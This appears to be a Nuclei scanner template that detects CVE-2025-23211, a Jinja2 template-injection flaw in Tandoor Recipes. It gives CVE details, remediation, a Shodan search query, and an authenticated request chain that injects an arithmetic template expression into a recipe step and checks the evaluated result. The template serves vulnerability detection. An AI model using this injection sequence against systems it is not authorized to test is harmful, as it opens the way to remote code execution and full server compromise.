id: CVE-2025-23211 info: name: Tandoor Recipes < 1.5.24 - Jinja2 SSTI RCE author: sammiee5311 severity: critical description: | Tandoor Recipes < 1.5.24 has a Jinja2 SSTI vulnerability that allows command execution via recipe steps. impact: | Attackers can execute arbitrary code on the server by injecting malicious Jinja2 template expressions in recipe steps. This may lead to full server compromise, data disclosure, and privilege escalation. remediation: | Upgrade to Tandoor Recipes version 1.5.24 or later. reference: - https://github.com/TandoorRecipes/recipes/blob/4f9bff20c858180d0f7376de443a9fe4c123a50c/cookbook/helper/template_helper.py#L95 - https://github.com/TandoorRecipes/recipes/commit/e6087d5129cc9d0c24278948872377e66c2a2c20 - https://github.com/TandoorRecipes/recipes/security/advisories/GHSA-r6rj-h75w-vj8v - https://nvd.nist.gov/vuln/detail/CVE-2025-23211 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H cvss-score: 9.9 cve-id: CVE-2025-23211 epss-score: 0.63142 epss-percentile: 0.98419 cwe-id: CWE-94, CWE-1336 metadata: verified: true max-request: 5 shodan-query: html:"Tandoor Recipes" tags: cve,cve2025,rce,ssti,tandoor,jinja2,authenticated variables: num1: "{{rand_int(800000, 999999)}}" num2: "{{rand_int(800000, 999999)}}" result: "{{to_number(num1)*to_number(num2)}}" flow: http(1) && http(2) && http(3) && http(4) && http(5) http: - raw: - | GET /accounts/login/ HTTP/1.1 Host: {{Hostname}} extractors: - type: regex part: body name: csrf group: 1 regex: - 'name="csrfmiddlewaretoken" value="(.*?)"' internal: true - raw: - | POST /accounts/login/ HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded csrfmiddlewaretoken={{csrf}}&login={{username}}&password={{password}}&remember=on&next=%2F extractors: - type: regex part: header name: csrftoken group: 1 internal: true regex: - 'csrftoken=([A-Za-z0-9]+)' matchers: - type: status status: - 302 internal: true - raw: - | POST /api/recipe/ HTTP/1.1 Host: {{Hostname}} Content-Type: application/json X-CSRFToken: {{csrftoken}} {"name":"{{randstr}}","description":"","steps":[{"instruction":"","ingredients":[],"time":0,"order":0,"show_as_header":false,"show_ingredients_table":true}],"working_time":0,"waiting_time":0,"internal":true,"servings":1,"servings_text":""} extractors: - type: json part: body name: recipe_id internal: true json: - ".id" - type: json part: body name: step_id internal: true json: - ".steps[0].id" matchers: - type: status status: - 201 internal: true - raw: - | PUT /api/recipe/{{recipe_id}}/ HTTP/1.1 Host: {{Hostname}} Content-Type: application/json X-CSRFToken: {{csrftoken}} {"id":{{recipe_id}},"name":"{{randstr}}","description":"","steps":[{"id":{{step_id}},"name":"","instruction":"\u007b\u007b({{num1}}*{{num2}})|int\u007d\u007d","ingredients":[],"time":0,"order":0,"show_as_header":false,"show_ingredients_table":true}],"working_time":0,"waiting_time":0,"internal":true,"servings":1,"servings_text":""} matchers: - type: status status: - 200 internal: true - raw: - | GET /api/recipe/{{recipe_id}}/ HTTP/1.1 Host: {{Hostname}} X-CSRFToken: {{csrftoken}} matchers-condition: and matchers: - type: word part: body words: - '"instructions_markdown"' - '{{result}}' condition: and - type: word part: content_type words: - 'application/json' - type: status status: - 200 # digest: 4b0a00483046022100f39f3735453fcddd8a12a17a4de7ab32d6328f01318e0883a18abc529800418c022100f2a60ac12dcbbdc6edee3938a037ad7fd8aa35e54abd1f0de8580996b4a954cf:922c64590222798bb761d5b6d8e72950